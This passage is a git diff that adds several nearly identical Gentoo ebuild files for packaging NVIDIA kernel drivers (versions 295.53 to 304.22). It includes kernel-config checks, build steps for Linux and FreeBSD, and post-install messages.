+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.53.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.53.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.53.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-295.59.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-295.59.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-295.59.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-302.17.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-302.17.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-302.17.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.22.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.22.ebuild
new file mode 100644
index 00000000..fd51b319
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.22.ebuild
@@ -0,0 +1,192 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+	multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+	x11-libs/libXvMC
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+	ebegin "Checking for MTRR support"
+	linux_chkconfig_present MTRR
+	eend $?
+
+	if [[ $? -ne 0 ]] ; then
+		eerror "Please enable MTRR support in your kernel config, found at:"
+		eerror
+		eerror "  Processor type and features"
+		eerror "    [*] MTRR (Memory Type Range Register) support"
+		eerror
+		eerror "and recompile your kernel ..."
+		die "MTRR support not detected!"
+	fi
+}
+
+lockdep_check() {
+	if linux_chkconfig_present LOCKDEP; then
+		eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+		eerror "Unfortunately, this option exports the symbol "
+		eerror "'lockdep_init_map' as GPL-only which will prevent "
+		eerror "${P} from compiling."
+		eerror "Please make sure the following options have been unset:"
+		eerror
+		eerror "    Kernel hacking  --->"
+		eerror "        [ ] Lock debugging: detect incorrect freeing of live locks"
+		eerror "        [ ] Lock debugging: prove locking correctness"
+		eerror "        [ ] Lock usage statistics"
+		eerror "in 'menuconfig'"
+		die "LOCKDEP enabled"
+	fi
+}
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use kernel_linux; then
+		linux-mod_pkg_setup
+		MODULE_NAMES="nvidia(video:${S}/kernel)"
+		BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+		SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+		# linux-mod_src_compile calls set_arch_to_kernel, which
+		# sets the ARCH to x86 but NVIDIA's wrapping Makefile
+		# expects x86_64 or i386 and then converts it to x86
+		# later on in the build process
+		BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+		mtrr_check
+		lockdep_check
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# Since Nvidia ships 3 different series of drivers, we need to give the user
+	# some kind of guidance as to what version they should install. This tries
+	# to point the user in the right direction but can't be perfect. check
+	# nvidia-driver.eclass
+	nvidia-driver-check-warning
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_SRC="${S}/src"
+	elif use kernel_linux; then
+		NV_SRC="${S}/kernel"
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if use kernel_linux && kernel_is lt 2 6 7; then
+		echo
+		ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+		ewarn "This is not officially supported for ${P}. It is likely you"
+		ewarn "will not be able to compile or use the kernel module."
+		ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+		echo
+		ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+	fi
+
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+
+	if use kernel_linux; then
+		# Quiet down warnings the user does not need to see
+		sed -i \
+			-e 's:-Wsign-compare::g' \
+			"${NV_SRC}"/Makefile.kbuild
+
+		# If you set this then it's your own fault when stuff breaks :)
+		use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+		# If greater than 2.6.5 use M= instead of SUBDIR=
+		convert_to_m "${NV_SRC}"/Makefile.kbuild
+	fi
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	elif use kernel_linux; then
+		linux-mod_src_compile
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		linux-mod_src_install
+	elif use x86-fbsd; then
+		insinto /boot/modules
+		doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+		exeinto /boot/modules
+		doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+	fi
+}
+
+pkg_preinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+}
+
+pkg_postinst() {
+	use kernel_linux && linux-mod_pkg_postinst
+
+	echo
+	elog "You must be in the video group to use the NVIDIA device"
+	elog "For more info, read the docs at"
+	elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+	elog
+
+	elog "This package installs a kernel module and X driver. Both must"
+	elog "match explicitly in their version. This means, if you restart"
+	elog "X, you must modprobe -r nvidia before starting it back up"
+	elog
+
+}
+
+pkg_postrm() {
+	use kernel_linux && linux-mod_pkg_postrm
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.37.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.37.ebuild
new file mode 100644
index 00000000..c26611c4
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.37.ebuild
@@ -0,0 +1,180 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
